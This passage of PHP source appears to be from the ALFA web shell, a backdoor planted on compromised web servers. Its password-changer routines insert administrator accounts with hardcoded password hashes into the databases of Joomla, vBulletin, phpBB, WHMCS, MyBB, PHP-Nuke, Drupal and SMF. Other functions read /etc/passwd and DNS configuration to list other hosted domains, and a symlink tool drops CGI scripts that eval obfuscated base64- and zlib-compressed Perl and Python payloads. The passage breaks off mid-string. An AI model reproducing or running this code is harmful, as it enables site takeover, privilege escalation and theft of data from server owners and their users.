            $solevisible = @mysqli_query($conn, "INSERT INTO " . $prefix . "user_usergroup_map (user_id,group_id) VALUES ('" . $res . "', '8')") or die(mysqli_error($conn));
            if ($solevisible) {
                __alert('Success... ' . $admin . ' is created...');
            }
        }
    }
    if ($_POST['alfa4'] && $_POST['alfa4'] == 'vb') {
        echo __pre() . '<center><center><div class="txtfont_header">| vBulletin |<div><p>' . getConfigHtml('vb') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,\'vb\',this.username.value,this.password.value,this.prefix.value,this.admin.value,this.email.value); return false;" method="POST">';
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50'));
        create_table($table);
        echo "<p><input value=\" \" name=\"send\" type=\"submit\"></p></form></center>";
        if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
            $localhost = $_POST['alfa2'];
            $database = $_POST['alfa3'];
            $username = $_POST['alfa5'];
            $password = $_POST['alfa6'];
            $prefix = $_POST['alfa7'];
            $admin = $_POST['alfa8'];
            $SQL = $_POST['alfa9'];
            $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_connect_error());
            $pw_col = @mysqli_connect("SELECT column_name FROM information_schema.columns where table_name = '{$prefix}user' and column_name = 'password' and table_schema = '{$database}'");
            $pw_col = @mysqli_num_rows($pw_col);
            $adm_perm = "16744444";
            if ($pw_col > 0) {
                $solevisible = @mysqli_query($conn, "insert into {$prefix}user (userid,usergroupid,username,password,salt,email,passworddate,joindate) values(null,'6','{$admin}','52e28b78f55641cd4618ad1a20f5fd5c','Xw|IbGLhTQA-AwApVv>61y^(z]*<QN','{$SQL}','" . date('Y-m-d') . "','" . time() . "')") or die(mysqli_error($conn));
            } else {
                $adm_perm = "2143256444";
                $solevisible = @mysqli_query($conn, "insert into {$prefix}user (userid,usergroupid,username,token,secret,email,passworddate,joindate,scheme,birthday_search) values(null,'6','{$admin}','\$2y\$10\$YsVhV.9tLnzBYxar1BJAGO3vFz68/qDU7Jt62SDdLy6lUT9N5Z/wq','Qf~ADeA}iAey-&#ALQF<}/uBDqSnw>','{$SQL}','" . date('Y-m-d') . "','" . time() . "','blowfish:10','1984-05-20')") or die(mysqli_error($conn));
            }
            $solevisible = @mysqli_query($conn, "select userid from {$prefix}user where username='" . $admin . "'") or die(mysqli_error($conn));
            $sole = mysqli_num_rows($solevisible);
            if ($sole == 1) {
                $solevis = mysqli_fetch_assoc($solevisible);
                $res = $solevis['userid'];
            }
            $solevisible = @mysqli_query($conn, "insert into {$prefix}administrator (userid,adminpermissions) values('" . $res . "','" . $adm_perm . "')") or die(mysqli_error($conn));
            if ($solevisible) {
                __alert('Success... ' . $admin . ' is created...');
            }
        }
    }
    if (isset($_POST['alfa5']) && $_POST['alfa5'] == 'phpbb') {
        echo __pre() . '<center><div class="txtfont_header">| phpBB |</div><p><p>' . getConfigHtml('phpbb') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,\'phpbb\',this.password.value,null,this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">';
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50'));
        create_table($table);
        echo "<p><input value=\" \" name=\"send\" type=\"submit\"></p></form></center>";
        if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
            $localhost = $_POST['alfa2'];
            $database = $_POST['alfa3'];
            $username = $_POST['alfa4'];
            $password = $_POST['alfa6'];
            $admin = $_POST['alfa8'];
            $SQL = $_POST['alfa9'];
            $prefix = $_POST['alfa10'];
            $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
            $hash = md5('solevisible');
            $solevisible = @mysqli_query($conn, "UPDATE " . $prefix . "users SET username_clean ='" . $admin . "' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
            $solevisible = @mysqli_query($conn, "UPDATE " . $prefix . "users SET user_password ='" . $hash . "' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
            $solevisible = @mysqli_query($conn, "UPDATE " . $prefix . "users SET username_clean ='" . $admin . "' WHERE user_type = 3") or die(mysqli_error($conn));
            $solevisible = @mysqli_query($conn, "UPDATE " . $prefix . "users SET user_password ='" . $hash . "' WHERE user_type = 3") or die(mysqli_error($conn));
            $solevisible = @mysqli_query($conn, "UPDATE " . $prefix . "users SET user_email ='" . $SQL . "' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
            if ($solevisible) {
                __alert('Success... ' . $admin . ' is created...');
            }
        }
    }
    if (isset($_POST['alfa6']) && $_POST['alfa6'] == 'whmcs') {
        echo __pre() . '<center><div class="txtfont_header">| Whmcs |</div><p><p>' . getConfigHtml('whmcs') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,\'whmcs\',null,this.admin.value,this.email.value); return false;" method="POST">';
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50'));
        create_table($table);
        echo "<p><input value=\" \" name=\"send\" type=\"submit\"></p></form></center>";
        if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
            $localhost = $_POST['alfa2'];
            $database = $_POST['alfa3'];
            $username = $_POST['alfa4'];
            $password = $_POST['alfa5'];
            $admin = $_POST['alfa8'];
            $SQL = $_POST['alfa9'];
            $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
            $solevisible = @mysqli_query($conn, "insert into tbladmins (id,roleid,username,password,email,template,homewidgets) values(null,'1','" . $admin . "','d4a590caacc0be55ef286e40a945ea45','" . $SQL . "','blend','getting_started:true,orders_overview:true,supporttickets_overview:true,my_notes:true,client_activity:true,open_invoices:true,activity_log:true|income_overview:true,system_overview:true,whmcs_news:true,sysinfo:true,admin_activity:true,todo_list:true,network_status:true,income_forecast:true|')") or die(mysqli_error($conn));
            if ($solevisible) {
                __alert('Success... ' . $admin . ' is created...');
            }
        }
    }
    if (isset($_POST['alfa7']) && $_POST['alfa7'] == 'mybb') {
        echo __pre() . '<center><div class="txtfont_header">| Mybb |</div><p><p>' . getConfigHtml('mybb') . '</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,\'mybb\',this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">';
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50'));
        create_table($table);
        echo "<p><input value=\" \" name=\"send\" type=\"submit\"></p></form></center>";
        if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
            $localhost = $_POST['alfa2'];
            $database = $_POST['alfa3'];
            $username = $_POST['alfa4'];
            $password = $_POST['alfa5'];
            $admin = $_POST['alfa8'];
            $SQL = $_POST['alfa9'];
            $prefix = $_POST['alfa10'];
            $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
            $solevisible = @mysqli_query($conn, "insert into " . $prefix . "users (uid,username,password,salt,email,usergroup) values(null,'" . $admin . "','e71f2c3265619038d826a1ac6e2b9b8e','ywza68lS','" . $SQL . "','4')") or die(mysqli_error($conn));
            if ($solevisible) {
                __alert('Success... ' . $admin . ' is created...');
            }
        }
    }
    if (isset($_POST['alfa8']) && $_POST['alfa8'] == 'nuke') {
        echo __pre() . '<center><div class="txtfont_header">| PhpNuke |</div><p><p>' . getConfigHtml('phpnuke') . '</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'nuke\',this.email.value,this.prefix.value); return false;" method="POST">';
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50'));
        create_table($table);
        echo "<p><input value=\" \" name=\"send\" type=\"submit\"></p></form></center>";
        if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
            $localhost = $_POST['alfa2'];
            $database = $_POST['alfa3'];
            $username = $_POST['alfa4'];
            $password = $_POST['alfa5'];
            $admin = $_POST['alfa7'];
            $SQL = $_POST['alfa9'];
            $prefix = $_POST['alfa10'];
            $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
            $hash = md5($pwd);
            $solevisible = @mysqli_query($conn, "insert into " . $prefix . "_authors(aid,name,email,pwd) values('{$admin}','God','{$SQL}','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn));
            if ($solevisible) {
                __alert('Success... ' . $admin . ' is created...');
            }
        }
    }
    if (isset($_POST['alfa9']) && $_POST['alfa9'] == 'drupal') {
        echo __pre() . '<center><div class="txtfont_header">| Drupal |</div><p><p>' . getConfigHtml('drupal') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,null,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'drupal\'); return false;" method="POST">';
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true));
        create_table($table);
        echo "<p><input value=\" \" name=\"send\" type=\"submit\"></p></form></center>";
        if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
            $localhost = $_POST['alfa2'];
            $database = $_POST['alfa4'];
            $username = $_POST['alfa5'];
            $password = $_POST['alfa6'];
            $admin = $_POST['alfa8'];
            $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
            $getDescuid = @mysqli_query($conn, "select uid from users order by uid desc limit 0,1");
            $getDescuid = @mysqli_fetch_assoc($getDescuid);
            $getDescuid = $getDescuid['uid'];
            $getdescuid = $getDescuid++;
            $solevisible = @mysqli_query($conn, "insert into users (uid,name,pass,mail,signature_format,status,timezone,init) values('{$getDescuid}','{$admin}','\$S\$DP2y9AbolCBOd\\/WyQcpzu4zF57qE0noyCNeXZWv.37R66VsFjOiC','solevisible@fbi.gov','filtered_html','1','Europe/Berlin','solevisible@fbi.gov')") or die(mysqli_error($conn));
            $solevisible = @mysqli_query($conn, "select uid from users where name='" . $admin . "'") or die(mysqli_error($conn));
            $sole = mysqli_num_rows($solevisible);
            if ($sole == 1) {
                $solevis = mysqli_fetch_assoc($solevisible);
                $res = $solevis['uid'];
            }
            $solevisible = @mysqli_query($conn, "INSERT INTO users_roles (uid,rid) VALUES ('" . $res . "', '3')") or die(mysqli_error($conn));
            if ($solevisible) {
                __alert('Success... ' . $admin . ' is created...');
            }
        }
    }
    if (isset($_POST['alfa10']) && $_POST['alfa10'] == 'smf') {
        echo __pre() . '<center><center><div class="txtfont_header">| SMF |</div><p><p>' . getConfigHtml('smf') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,null,this.username.value,this.password.value,this.prefix.value,this.admin.value,null,\'smf\'); return false;" method="POST">';
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => 'smf_', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true));
        create_table($table);
        echo "<p><input value=\" \" name=\"send\" type=\"submit\"></p></form></center>";
        if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
            $localhost = $_POST['alfa2'];
            $database = $_POST['alfa3'];
            $username = $_POST['alfa5'];
            $password = $_POST['alfa6'];
            $prefix = $_POST['alfa7'];
            $admin = $_POST['alfa8'];
            $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
            $setpwAlg = sha1(strtolower($admin) . 'solevisible');
            $solevisible = @mysqli_query($conn, "insert into {$prefix}members (id_member,member_name,id_group,real_name,passwd,email_address) values(null,'{$admin}','1','{$admin}','{$setpwAlg}','solevisible@fbi.gov')") or die(mysqli_error($conn));
            if ($solevisible) {
                __alert('Success... ' . $admin . ' is created...');
            }
        }
    }
    echo "</div>";
    alfafooter();
}
function alfaMakePwd()
{
    if (_alfa_file_exists("/etc/virtual/domainowners") || _alfa_file_exists("/etc/named.conf") && _alfa_file_exists("/etc/valiases")) {
        return "/home/{user}/public_html/";
    }
    $document = explode("/", $_SERVER["DOCUMENT_ROOT"]);
    $public = end($document);
    array_pop($document);
    array_pop($document);
    $path = implode("/", $document) . "/{user}/" . $public;
    return $path;
}
function alfaGetDomains($state = false)
{
    $state = "named.conf";
    $lines = array();
    $lines = _alfa_file('/etc/named.conf');
    if (!$lines) {
        $lines = @scandir("/etc/valiases/");
        $state = "valiases";
        if (!$lines) {
            $lines = @scandir("/var/named");
            $state = "named";
            if (!$lines && $state) {
                $lines = _alfa_file('/etc/passwd');
                $state = "passwd";
            }
        }
    }
    return array("lines" => $lines, "state" => $state);
}
function alfaCreateParentFolder()
{
    $parent = $GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__;
    if (!@is_dir($parent)) {
        @mkdir($parent, 0755, true);
    }
}
function alfasymlink()
{
    alfahead();
    AlfaNum(9, 10);
    alfaCreateParentFolder();
    @chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
    echo "<div class=header><br><center><div class=\"txtfont_header\">| Symlink |</div><center><h3><a href=javascript:void(0) onclick=\"g('symlink',null,null,'symphp')\">| Symlink( php ) | </a><a href=javascript:void(0) onclick=\"g('symlink',null,null,'symperl')\">| Symlink( perl ) | </a><a href=javascript:void(0) onclick=\"g('symlink',null,null,'sympy')\">| Symlink( python ) | </a><a href=javascript:void(0) onclick=\"g('symlink',null,null,null,null,'SymFile')\">| File Symlink | </a></h3></center>";
    if (isset($_POST['alfa2']) && ($_POST['alfa2'] == 'symperl' || $_POST["alfa2"] == "sympy")) {
        $sympath = alfaMakePwd();
        @mkdir('cgialfa', 0755);
        @chdir('cgialfa');
        alfacgihtaccess('cgi');
        $perl = "#!/usr/bin/perl   -I/usr/local/bandmin\nuse MIME::Base64;use Compress::Zlib;my \$alfa_data=\"ALFA_DATA\";eval(Compress::Zlib::memGunzip(decode_base64(\"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\")));";
        $py = "#!/usr/bin/python\nimport zlib, base64\nalfa_data='ALFA_DATA'\neval(compile(zlib.decompress(base64.b64decode(\"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